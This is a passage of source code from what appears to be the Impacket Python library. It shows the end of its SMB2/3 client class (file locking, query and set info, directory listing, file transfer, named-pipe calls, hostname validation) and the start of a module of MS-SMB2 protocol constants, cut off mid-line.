packet['TreeID']  = treeId\n\n        smbLock = SMB2Lock()\n        smbLock['FileID']       = fileId\n        smbLock['LockCount']    = len(locks)\n        smbLock['LockSequence'] = lockSequence\n        smbLock['Locks']        = ''.join(str(x) for x in locks)\n\n        packet['Data'] = smbLock\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            smbFlushResponse = SMB2Lock_Response(ans['Data'])\n            return True\n\n        # ToDo:\n        # If Open.ResilientHandle is TRUE or Connection.SupportsMultiChannel is TRUE, the client MUST\n        # do the following:\n        # The client MUST scan through Open.OperationBuckets and find an element with its Free field\n        # set to TRUE. If no such element could be found, an implementation-specific error MUST be\n        # returned to the application.\n        # Let the zero-based array index of the element chosen above be referred to as BucketIndex, and\n        # let BucketNumber = BucketIndex +1.\n        # Set Open.OperationBuckets[BucketIndex].Free = FALSE\n        # Let the SequenceNumber of the element chosen above be referred to as BucketSequence.\n        # The LockSequence field of the SMB2 lock request MUST be set to (BucketNumber<< 4) +\n        # BucketSequence.\n        # Increment the SequenceNumber of the element chosen above using MOD 16 arithmetic.\n\n    def logoff(self):\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_LOGOFF\n\n        smbLogoff = SMB2Logoff()\n\n        packet['Data'] = smbLogoff\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            # We clean the stuff we used in case we want to authenticate again\n            # within the same connection\n            self._Session['UserCredentials']   = ''\n            self._Session['Connection']        = 0\n            self._Session['SessionID']         = 0\n            self._Session['SigningRequired']   = False\n            self._Session['SigningKey']        = ''\n            self._Session['SessionKey']        = ''\n            self._Session['SigningActivated']  = False\n            return True\n\n    def queryInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0, flags = 0 ):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_QUERY_INFO\n        packet['TreeID']  = treeId\n\n        queryInfo = SMB2QueryInfo()\n        queryInfo['FileID']                = fileId\n        queryInfo['InfoType']              = infoType\n        queryInfo['FileInfoClass']         = fileInfoClass\n        queryInfo['OutputBufferLength']    = 65535\n        queryInfo['AdditionalInformation'] = additionalInformation\n        if len(inputBlob) == 0:\n            queryInfo['InputBufferOffset'] = 0\n            queryInfo['Buffer']            = '\\x00'\n        else:\n            queryInfo['InputBufferLength'] = len(inputBlob)\n            queryInfo['Buffer']            = inputBlob\n        queryInfo['Flags']                 = flags\n\n        packet['Data'] = queryInfo\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            queryResponse = SMB2QueryInfo_Response(ans['Data'])\n            return queryResponse['Buffer']\n\n    def setInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0 ):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_SET_INFO\n        packet['TreeID']  = treeId\n\n        setInfo = SMB2SetInfo()\n        setInfo['InfoType']              = infoType\n        setInfo['FileInfoClass']         = fileInfoClass\n        setInfo['BufferLength']          = len(inputBlob)\n        setInfo['AdditionalInformation'] = additionalInformation\n        setInfo['FileID']                = fileId\n        setInfo['Buffer']                = inputBlob\n\n        packet['Data'] = setInfo\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            return True\n\n    def getSessionKey(self):\n        if self.getDialect() >= SMB2_DIALECT_30:\n           return self._Session['ApplicationKey']\n        else:\n           return self._Session['SessionKey']\n\n    def setSessionKey(self, key):\n        if self.getDialect() >= SMB2_DIALECT_30:\n           self._Session['ApplicationKey'] = key\n        else:\n           self._Session['SessionKey'] = key\n\n    ######################################################################\n    # Higher level functions\n\n    def rename(self, shareName, oldPath, newPath):\n        oldPath = oldPath.replace('/', '\\\\')\n        oldPath = ntpath.normpath(oldPath)\n        if len(oldPath) > 0 and oldPath[0] == '\\\\':\n            oldPath = oldPath[1:]\n\n        newPath = newPath.replace('/', '\\\\')\n        newPath = ntpath.normpath(newPath)\n        if len(newPath) > 0 and newPath[0] == '\\\\':\n            newPath = newPath[1:]\n\n        treeId = self.connectTree(shareName)\n        fileId = None\n        try:\n            fileId = self.create(treeId, oldPath, MAXIMUM_ALLOWED ,FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, 0x200020, FILE_OPEN, 0)\n            renameReq = FILE_RENAME_INFORMATION_TYPE_2()\n            renameReq['ReplaceIfExists'] = 1\n            renameReq['RootDirectory']   = '\\x00'*8\n            renameReq['FileName']        = newPath.encode('utf-16le')\n            renameReq['FileNameLength']  = len(renameReq['FileName'])\n\n            self.setInfo(treeId, fileId, renameReq, infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_RENAME_INFO)\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n        return True\n\n    def writeFile(self, treeId, fileId, data, offset = 0):\n        finished = False\n        writeOffset = offset\n        while not finished:\n            if len(data) == 0:\n                break\n            writeData = data[:self._Connection['MaxWriteSize']]\n            data = data[self._Connection['MaxWriteSize']:]\n            written = self.write(treeId, fileId, writeData, writeOffset, len(writeData))\n            writeOffset += written\n        return writeOffset - offset\n\n    def isSnapshotRequest(self, path):\n        #TODO: use a regex here?\n        return '@GMT-' in path\n\n    def timestampForSnapshot(self, path):\n        timestamp = path[path.index(\"@GMT-\"):path.index(\"@GMT-\")+24]\n        path = path.replace(timestamp, '')\n        from datetime import datetime\n        fTime = int((datetime.strptime(timestamp, '@GMT-%Y.%m.%d-%H.%M.%S') - datetime(1970,1,1)).total_seconds())\n        fTime *= 10000000\n        fTime += 116444736000000000\n\n        token = SMB2_CREATE_TIMEWARP_TOKEN()\n        token['Timestamp'] = fTime\n\n        ctx = SMB2CreateContext()\n        ctx['Next'] = 0\n        ctx['NameOffset'] = 16\n        ctx['NameLength'] = len('TWrp')\n        ctx['DataOffset'] = 24\n        ctx['DataLength'] = 8\n        ctx['Buffer'] = b'TWrp'\n        ctx['Buffer'] += b'\\x00'*4 # 4 bytes to 8-byte align\n        ctx['Buffer'] += token.getData()\n\n        # fix-up the path\n        path = path.replace(timestamp, '').replace('\\\\\\\\', '\\\\')\n        if path == '\\\\':\n            path += '*'\n        return path, ctx\n\n    def listPath(self, shareName, path, password = None):\n        createContexts = None\n\n        if self.isSnapshotRequest(path):\n            createContexts = []\n            path, ctx = self.timestampForSnapshot(path)\n            createContexts.append(ctx)\n\n        # ToDo: Handle situations where share is password protected\n        path = path.replace('/', '\\\\')\n        path = ntpath.normpath(path)\n        if len(path) > 0 and path[0] == '\\\\':\n            path = path[1:]\n\n        treeId = self.connectTree(shareName)\n\n        fileId = None\n        try:\n            # ToDo, we're assuming it's a directory, we should check what the file type is\n            fileId = self.create(treeId, ntpath.dirname(path), FILE_READ_ATTRIBUTES | FILE_READ_DATA, FILE_SHARE_READ |\n                                 FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n                                 FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_OPEN, 0,\n                                 createContexts=createContexts)\n            res = ''\n            files = []\n            from impacket import smb\n            while True:\n                try:\n                    res = self.queryDirectory(treeId, fileId, ntpath.basename(path), maxBufferSize=65535,\n                                              informationClass=FILE_FULL_DIRECTORY_INFORMATION)\n                    nextOffset = 1\n                    while nextOffset != 0:\n                        fileInfo = smb.SMBFindFileFullDirectoryInfo(smb.SMB.FLAGS2_UNICODE)\n                        fileInfo.fromString(res)\n                        files.append(smb.SharedFile(fileInfo['CreationTime'], fileInfo['LastAccessTime'],\n                                                    fileInfo['LastWriteTime'], fileInfo['LastChangeTime'], fileInfo['EndOfFile'],\n                                                    fileInfo['AllocationSize'], fileInfo['ExtFileAttributes'],\n                                                    fileInfo['FileName'].decode('utf-16le'),\n                                                    fileInfo['FileName'].decode('utf-16le')))\n                        nextOffset = fileInfo['NextEntryOffset']\n                        res = res[nextOffset:]\n                except SessionError as e:\n                    if (e.get_error_code()) != STATUS_NO_MORE_FILES:\n                        raise\n                    break\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n        return files\n\n    def mkdir(self, shareName, pathName, password = None):\n        # ToDo: Handle situations where share is password protected\n        pathName = pathName.replace('/', '\\\\')\n        pathName = ntpath.normpath(pathName)\n        if len(pathName) > 0 and pathName[0] == '\\\\':\n            pathName = pathName[1:]\n\n        treeId = self.connectTree(shareName)\n\n        fileId = None\n        try:\n            fileId = self.create(treeId, pathName, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n                                 FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_CREATE, 0)\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n        return True\n\n    def rmdir(self, shareName, pathName, password = None):\n        # ToDo: Handle situations where share is password protected\n        pathName = pathName.replace('/', '\\\\')\n        pathName = ntpath.normpath(pathName)\n        if len(pathName) > 0 and pathName[0] == '\\\\':\n            pathName = pathName[1:]\n\n        treeId = self.connectTree(shareName)\n\n        fileId = None\n        try:\n            fileId = self.create(treeId, pathName, desiredAccess=DELETE | FILE_READ_ATTRIBUTES | SYNCHRONIZE,\n                                 shareMode=FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,\n                                 creationOptions=FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,\n                                 creationDisposition=FILE_OPEN, fileAttributes=0)\n            from impacket import smb\n            delete_req = smb.SMBSetFileDispositionInfo()\n            delete_req['DeletePending'] = True\n            self.setInfo(treeId, fileId, inputBlob=delete_req, fileInfoClass=SMB2_FILE_DISPOSITION_INFO)\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n        return True\n\n    def remove(self, shareName, pathName, password = None):\n        # ToDo: Handle situations where share is password protected\n        pathName = pathName.replace('/', '\\\\')\n        pathName = ntpath.normpath(pathName)\n        if len(pathName) > 0 and pathName[0] == '\\\\':\n            pathName = pathName[1:]\n\n        treeId = self.connectTree(shareName)\n\n        fileId = None\n        try:\n            fileId = self.create(treeId, pathName,DELETE | FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, FILE_OPEN, 0)\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n        return True\n\n    def retrieveFile(self, shareName, path, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):\n        createContexts = None\n\n        if self.isSnapshotRequest(path):\n            createContexts = []\n            path, ctx = self.timestampForSnapshot(path)\n            createContexts.append(ctx)\n\n        # ToDo: Handle situations where share is password protected\n        path = path.replace('/', '\\\\')\n        path = ntpath.normpath(path)\n        if len(path) > 0 and path[0] == '\\\\':\n            path = path[1:]\n\n        treeId = self.connectTree(shareName)\n        fileId = None\n        from impacket import smb\n        try:\n            fileId = self.create(treeId, path, FILE_READ_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0, createContexts=createContexts)\n            res = self.queryInfo(treeId, fileId)\n            fileInfo = smb.SMBQueryFileStandardInfo(res)\n            fileSize = fileInfo['EndOfFile']\n            if (fileSize-offset) < self._Connection['MaxReadSize']:\n                # Skip reading 0 bytes files.\n                if (fileSize-offset) > 0:\n                    data = self.read(treeId, fileId, offset, fileSize-offset)\n                    callback(data)\n            else:\n                written = 0\n                toBeRead = fileSize-offset\n                while written < toBeRead:\n                    data = self.read(treeId, fileId, offset, self._Connection['MaxReadSize'])\n                    written += len(data)\n                    offset  += len(data)\n                    callback(data)\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n    def storeFile(self, shareName, path, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):\n        # ToDo: Handle situations where share is password protected\n        path = path.replace('/', '\\\\')\n        path = ntpath.normpath(path)\n        if len(path) > 0 and path[0] == '\\\\':\n            path = path[1:]\n\n        treeId = self.connectTree(shareName)\n        fileId = None\n        try:\n            fileId = self.create(treeId, path, FILE_WRITE_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0)\n            finished = False\n            writeOffset = offset\n            while not finished:\n                data = callback(self._Connection['MaxWriteSize'])\n                if len(data) == 0:\n                    break\n                written = self.write(treeId, fileId, data, writeOffset, len(data))\n                writeOffset += written\n        finally:\n            if fileId is not None:\n                self.close(treeId, fileId)\n            self.disconnectTree(treeId)\n\n    def waitNamedPipe(self, treeId, pipename, timeout = 5):\n        pipename = ntpath.basename(pipename)\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if len(pipename) > 0xffff:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        pipeWait = FSCTL_PIPE_WAIT_STRUCTURE()\n        pipeWait['Timeout']          = timeout*100000\n        pipeWait['Name']             = pipename.encode('utf-16le')\n        pipeWait['NameLength']       = len(pipeWait['Name'] )\n        pipeWait['TimeoutSpecified'] = 1\n\n\n        return self.ioctl(treeId, None, FSCTL_PIPE_WAIT,flags=SMB2_0_IOCTL_IS_FSCTL, inputBlob=pipeWait, maxInputResponse = 0, maxOutputResponse=0)\n\n    def getIOCapabilities(self):\n        res = dict()\n\n        res['MaxReadSize'] = self._Connection['MaxReadSize']\n        res['MaxWriteSize'] = self._Connection['MaxWriteSize']\n        return res\n\n\n    ######################################################################\n    # Backward compatibility functions and alias for SMB1 and DCE Transports\n    # NOTE: It is strongly recommended not to use these commands\n    # when implementing new client calls.\n    get_server_name            = getServerName\n    get_client_name            = getClientName\n    get_server_domain          = getServerDomain\n    get_server_dns_domain_name = getServerDNSDomainName\n    get_server_dns_host_name   = getServerDNSHostName\n    get_remote_name            = getRemoteName\n    set_remote_name            = setRemoteName\n    get_remote_host            = getServerIP\n    get_server_os              = getServerOS\n    get_server_os_major        = getServerOSMajor\n    get_server_os_minor        = getServerOSMinor\n    get_server_os_build        = getServerOSBuild\n    tree_connect_andx          = connectTree\n    tree_connect               = connectTree\n    connect_tree               = connectTree\n    disconnect_tree            = disconnectTree\n    set_timeout                = setTimeout\n    use_timeout                = useTimeout\n    stor_file                  = storeFile\n    retr_file                  = retrieveFile\n    list_path                  = listPath\n\n    def close_session(self):\n        if self._NetBIOSSession:\n            self._NetBIOSSession.close()\n            self._NetBIOSSession = None\n\n    def doesSupportNTLMv2(self):\n        # Always true :P\n        return True\n\n    def is_login_required(self):\n        # Always true :P\n        return True\n\n    def is_signing_required(self):\n        return self._Connection['RequireSigning']\n\n    def nt_create_andx(self, treeId, fileName, smb_packet=None, cmd = None):\n        if len(fileName) > 0 and fileName[0] == '\\\\':\n            fileName = fileName[1:]\n\n        if cmd is not None:\n            from impacket import smb\n            ntCreate = smb.SMBCommand(data = cmd.getData())\n            params = smb.SMBNtCreateAndX_Parameters(ntCreate['Parameters'])\n            return self.create(treeId, fileName, params['AccessMask'], params['ShareAccess'],\n                               params['CreateOptions'], params['Disposition'], params['FileAttributes'],\n                               params['Impersonation'], params['SecurityFlags'])\n\n        else:\n            return self.create(treeId, fileName,\n                    FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA |\n                    FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | READ_CONTROL,\n                    FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, 0 )\n\n    def get_socket(self):\n        return self._NetBIOSSession.get_socket()\n\n\n    def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):\n        # ToDo: Handle the custom smb_packet situation\n        return self.write(tid, fid, data, offset, len(data))\n\n    def TransactNamedPipe(self, tid, fid, data, noAnswer = 0, waitAnswer = 1, offset = 0):\n        return self.ioctl(tid, fid, FSCTL_PIPE_TRANSCEIVE, SMB2_0_IOCTL_IS_FSCTL, data, maxOutputResponse = 65535, waitAnswer = noAnswer | waitAnswer)\n\n    def TransactNamedPipeRecv(self):\n        ans = self.recvSMB()\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])\n            return smbIoctlResponse['Buffer']\n\n\n    def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):\n        # ToDo: Handle the custom smb_packet situation\n        if max_size is None:\n            max_size = self._Connection['MaxReadSize']\n        return self.read(tid, fid, offset, max_size, wait_answer)\n\n    def list_shared(self):\n        # In the context of SMB2/3, forget about the old LANMAN, throw NOT IMPLEMENTED\n        raise SessionError(STATUS_NOT_IMPLEMENTED)\n\n    def open_andx(self, tid, fileName, open_mode, desired_access):\n        # ToDo Return all the attributes of the file\n        if len(fileName) > 0 and fileName[0] == '\\\\':\n            fileName = fileName[1:]\n\n        fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0)\n        return fileId, 0, 0, 0, 0, 0, 0, 0, 0\n\n    def set_session_key(self, signingKey):\n        self._Session['SessionKey'] = signingKey\n        self._Session['SigningActivated'] = True\n        self._Session['SigningRequired'] = True\n\n    def set_hostname_validation(self, validate, accept_empty, hostname):\n        self._strict_hostname_validation = validate\n        self._validation_allow_absent = accept_empty\n        self._accepted_hostname = hostname\n\n    def perform_hostname_validation(self):\n        if self._Session['ServerName'] == '':\n            if not self._validation_allow_absent:\n                raise self.HostnameValidationException('Hostname was not supplied by target host and absent validation is disallowed')\n            return\n        if self._Session['ServerName'].lower() != self._accepted_hostname.lower() and self._Session['ServerDNSHostName'].lower() != self._accepted_hostname.lower():\n            raise self.HostnameValidationException('Supplied hostname %s does not match reported hostnames %s or %s' %\n                (self._accepted_hostname.lower(), self._Session['ServerName'].lower(), self._Session['ServerDNSHostName'].lower()))\n"
  },
  {
    "path": "impacket/smb3structs.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SMB 2 and 3 Protocol Structures and constants [MS-SMB2]\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom impacket.structure import Structure\n\n# Constants\n\n# SMB Packet\nSMB2_PACKET_SIZE     = 64\n\n# SMB Commands\nSMB2_NEGOTIATE       = 0x0000 #\nSMB2_SESSION_SETUP   = 0x0001 #\nSMB2_LOGOFF          = 0x0002 #\nSMB2_TREE_CONNECT    = 0x0003 #\nSMB2_TREE_DISCONNECT = 0x0004 #\nSMB2_CREATE          = 0x0005 #\nSMB2_CLOSE           = 0x0006 #\nSMB2_FLUSH           = 0x0007 #\nSMB2_READ            = 0x0008 #\nSMB2_WRITE           = 0x0009 #\nSMB2_LOCK            = 0x000A #\nSMB2_IOCTL           = 0x000B #\nSMB2_CANCEL          = 0x000C #\nSMB2_ECHO            = 0x000D #\nSMB2_QUERY_DIRECTORY = 0x000E #\nSMB2_CHANGE_NOTIFY   = 0x000F\nSMB2_QUERY_INFO      = 0x0010 #\nSMB2_SET_INFO        = 0x0011\nSMB2_OPLOCK_BREAK    = 0x0012\n\n# SMB Flags\nSMB2_FLAGS_SERVER_TO_REDIR    = 0x00000001\nSMB2_FLAGS_ASYNC_COMMAND      = 0x00000002\nSMB2_FLAGS_RELATED_OPERATIONS = 0x00000004\nSMB2_FLAGS_SIGNED             = 0x00000008\nSMB2_FLAGS_DFS_OPERATIONS     = 0x10000000\nSMB2_FLAGS_REPLAY_OPERATION   = 0x80000000\n\n# SMB Error SymLink Flags\nSYMLINK_FLAG_ABSOLUTE         = 0x0\nSYMLINK_FLAG_RELATIVE         = 0x1\n\n# SMB2_NEGOTIATE\n# Security Modes\nSMB2_NEGOTIATE_SIGNING_ENABLED  = 0x1\nSMB2_NEGOTIATE_SIGNING_REQUIRED = 0x2\n\n# SMB2_NEGOTIATE_CONTEXT\nSMB2_PREAUTH_INTEGRITY_CAPABILITIES = 0x1\nSMB2_ENCRYPTION_CAPABILITIES        = 0x2\nSMB2_COMPRESSION_CAPABILITIES       = 0x3\nSMB2_NETNAME_NEGOTIATE_CONTEXT_ID   = 0x5\n\n# SMB2_COMPRESSION_CAPABILITIES\nSMB2_COMPRESSION_CAPABILITIES_FLAG_NONE    = 0x0\nSMB2_COMPRESSION_CAPABILITIES_FLAG_CHAINED = 0x1\n\n# Compression Algorithms\nCOMPRESSION_ALGORITHM_NONE         = 0x0\nCOMPRESSION_ALGORITHM_LZNT1        = 0x1\nCOMPRESSION_ALGORITHM_LZ77         = 0x2\nCOMPRESSION_ALGORITHM_LZ77_HUFFMAN = 0x3\nCOMPRESSION_ALGORITHM_PATTERN_V1   = 0x4\n\n# Capabilities\nSMB2_GLOBAL_CAP_DFS                = 0x01\nSMB2_GLOBAL_CAP_LEASING            = 0x02\nSMB2_GLOBAL_CAP_LARGE_MTU          = 0x04\nSMB2_GLOBAL_CAP_MULTI_CHANNEL      = 0x08\nSMB2_GLOBAL_CAP_PERSISTENT_HANDLES = 0x10\nSMB2_GLOBAL_CAP_DIRECTORY_LEASING  = 0x20\nSMB2_GLOBAL_CAP_ENCRYPTION         = 0x40\n\n# Dialects\nSMB2_DIALECT_002      = 0x0202\nSMB2_DIALECT_21       = 0x0210\nSMB2_DIALECT_30       = 0x0300\nSMB2_DIALECT_302      = 0x0302  #SMB 3.0.2\nSMB2_DIALECT_311      = 0x0311  #SMB 3.1.1\nSMB2_DIALECT_WILDCARD = 0x02FF\n\n# SMB2_SESSION_SETUP\n# Flags\nSMB2_SESSION_FLAG_BINDING        = 0x01\nSMB2_SESSION_FLAG_IS_GUEST       = 0x01\nSMB2_SESSION_FLAG_IS_NULL        = 0x02\nSMB2_SESSION_FLAG_ENCRYPT_DATA   = 0x04\n\n# SMB2_TREE_CONNECT \n# Types\nSMB2_SHARE_TYPE_DISK   = 0x1\nSMB2_SHARE_TYPE_PIPE   = 0x2\nSMB2_SHARE_TYPE_PRINT  = 0x3\n\n# Share Flags\nSMB2_SHAREFLAG_MANUAL_CACHING              = 0x00000000\nSMB2_SHAREFLAG_AUTO_CACHING                = 0x00000010\nSMB2_SHAREFLAG_VDO_CACHING                 = 0x00000020\nSMB2_SHAREFLAG_NO_CACHING                  = 0x00000030\nSMB2_SHAREFLAG_DFS                         = 0x00000001\nSMB2_SHAREFLAG_DFS_ROOT                    = 0x00000002\nSMB2_SHAREFLAG_RESTRICT_EXCLUSIVE_OPENS    = 0x00000100\nSMB2_SHAREFLAG_FORCE_SHARED_DELETE         = 0x00000200\nSMB2_SHAREFLAG_ALLOW_NAMESPACE_CACHING     = 0x00000400\nSMB2_SHAREFLAG_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800\nSMB2_SHAREFLAG_FORCE_LEVELII_OPLOCK        = 0x00001000\nSMB2_SHAREFLAG_ENABLE_HASH_V1              = 0x00002000\nSMB2_SHAREFLAG_ENABLE_HASH_V2              = 0x00004000\nSMB2_SHAREFLAG_ENCRYPT_DATA                = 0x00008000\n\n# Capabilities\nSMB2_SHARE_CAP_DFS                         = 0x00000008\nSMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY     = 0x00000010\nSMB2_SHARE_CAP_SCALEOUT                    = 0x00000020\nSMB2_SHARE_CAP_CLUSTER                     = 0x00000040\n\n# SMB_CREATE \n# Oplocks\nSMB2_OPLOCK_LEVEL_NONE       = 0x00\nSMB2_OPLOCK_LEVEL_II         = 0x01\nSMB2_OPLOCK_LEVEL_EXCLUSIVE  = 0x08\nSMB2_OPLOCK_LEVEL_BATCH      = 0x09\nSMB2_OPLOCK_LEVEL_LEASE      = 0xFF\n\n# Impersonation Level\nSMB2_IL_ANONYMOUS       = 0x00000000\nSMB2_IL_IDENTIFICATION  = 0x00000001\nSMB2_IL_IMPERSONATION   = 0x00000002\nSMB2_IL_DELEGATE        = 0x00000003\n\n# File Attributes\nFILE_ATTRIBUTE_ARCHIVE             = 0x00000020\nFILE_ATTRIBUTE_COMPRESSED          = 0x00000800\nFILE_ATTRIBUTE_DIRECTORY           = 0x00000010\nFILE_ATTRIBUTE_ENCRYPTED           = 0x00004000\nFILE_ATTRIBUTE_HIDDEN              = 0x00000002\nFILE_ATTRIBUTE_NORMAL              = 0x00000080\nFILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000\nFILE_ATTRIBUTE_OFFLINE             = 0x00001000\nFILE_ATTRIBUTE_READONLY            = 0x00000001\nFILE_ATTRIBUTE_REPARSE_POINT       = 0x00000400\nFILE_ATTRIBUTE_SPARSE_FILE         = 0x00000200\nFILE_ATTRIBUTE_SYSTEM              = 0x00000004\nFILE_ATTRIBUTE_TEMPORARY           = 0x00000100\nFILE_ATTRIBUTE_INTEGRITY_STREAM    = 0x00000800\nFILE_ATTRIBUTE_NO_SCRUB_DATA       = 0x00020000\n\n# ShareAccess flags\n# A 32-bit field that specifies how the file SHOULD be shared with other processes.\n# As Specified in section 2.2.13 SMB2 CREATE Request.\nFILE_SHARE_READ                  = 0x00000001 # Other open operations can be performed on the file for read access.\nFILE_SHARE_WRITE                 = 0x00000002 # Other open operations can be performed on the file for write access.\nFILE_SHARE_DELETE                = 0x00000004 # Other open operations can be performed on the file for delete access.\n\n# Create Disposition\n# Defines the action the server MUST take if the file that is specified in the name field already exists.\n# As Specified in section 2.2.13 SMB2 CREATE Request.\nFILE_SUPERSEDE          = 0x00000000 # If the file already exists, supersede it. Otherwise, create the file. This value SHOULD NOT be used for a printer object.\nFILE_OPEN               = 0x00000001 # If the file already exists, return success; otherwise, fail the operation. MUST NOT be used for a printer object. \nFILE_CREATE             = 0x00000002 # If the file already exists, fail the operation; otherwise, create the file. \nFILE_OPEN_IF            = 0x00000003 # Open the file if it already exists; otherwise, create the file. This value SHOULD NOT be used for a printer object.\nFILE_OVERWRITE          = 0x00000004 # Overwrite the file if it already exists; otherwise, fail the operation. MUST NOT be used for a printer object.\nFILE_OVERWRITE_IF       = 0x00000005 # Overwrite the file if it already exists; otherwise, create the file. This value SHOULD NOT be used for a printer object.\n\n# Create Options\nFILE_DIRECTORY_FILE            = 0x00000001\nFILE_WRITE_THROUGH             = 0x00000002\nFILE_SEQUENTIAL_ONLY           = 0x00000004\nFILE_NO_INTERMEDIATE_BUFFERING = 0x00000008\nFILE_SYNCHRONOUS_IO_ALERT      = 0x00000010\nFILE_SYNCHRONOUS_IO_NONALERT   = 0x00000020\nFILE_NON_DIRECTORY_FILE        = 0x00000040\nFILE_COMPLETE_IF_OPLOCKED      = 0x00000100\nFILE_NO_EA_KNOWLEDGE           = 0x00000200\nFILE_RANDOM_ACCESS             = 0x00000800\nFILE_DELETE_ON_CLOSE           = 0x00001000\nFILE_OPEN_BY_FILE_ID           = 0x00002000\nFILE_OPEN_FOR_BACKUP_INTENT    = 0x00004000\nFILE_NO_COMPRESSION            = 0x00008000\nFILE_RESERVE_OPFILTER          = 0x00100000\nFILE_OPEN_REPARSE_POINT        = 0x00200000\nFILE_OPEN_NO_RECALL            = 0x00400000\nFILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000\n\n# File Access Mask (DesiredAccess) flags\n# The level of access that is required, as specified in section 2.2.13.1.\nFILE_READ_DATA          = 0x00000001 # This value indicates the right to read data from the file or named pipe.\nFILE_WRITE_DATA         = 0x00000002 # This value indicates the right to write data into the file or named pipe beyond the end of the file.\nFILE_APPEND_DATA        = 0x00000004 # This value indicates the right to append data into the file or named pipe.\nFILE_READ_EA            = 0x00000008 # This value indicates the right to read the extended attributes of the file or named pipe.\nFILE_WRITE_EA           = 0x00000010 # This value indicates the right to write or change the extended attributes to the file or named pipe.\nFILE_DELETE_CHILD       = 0x00000040 # This value indicates the right to delete entries within a directory.\nFILE_EXECUTE            = 0x00000020 # This value indicates the right to execute the file.\nFILE_READ_ATTRIBUTES    = 0x00000080 # This value indicates the right to read the attributes of the file.\nFILE_WRITE_ATTRIBUTES   = 0x00000100 # This value indicates the right to change the attributes of the file.\nDELETE                  = 0x00010000 # This value indicates the right to delete the file.\nREAD_CONTROL            = 0x00020000 # This value indicates the right to read the security descriptor for the file or named pipe.\nWRITE_DAC               = 0x00040000 # This value indicates the right to change the discretionary access control list (DACL) in the security descriptor for the file or named pipe. For the DACL data structure, see ACL in [MS-DTYP].\nWRITE_OWNER             = 0x00080000 # This value indicates the right to change the owner in the security descriptor for the file or named pipe.\nSYNCHRONIZE             = 0x00100000 # SMB2 clients set this flag to any value. SMB2 servers SHOULD ignore this flag.\nACCESS_SYSTEM_SECURITY  = 0x01000000 # This value indicates the right to read or change the system access control list (SACL) in the security descriptor for the file or named pipe. For the SACL data structure, see ACL in [MS-DTYP].\nMAXIMUM_ALLOWED         = 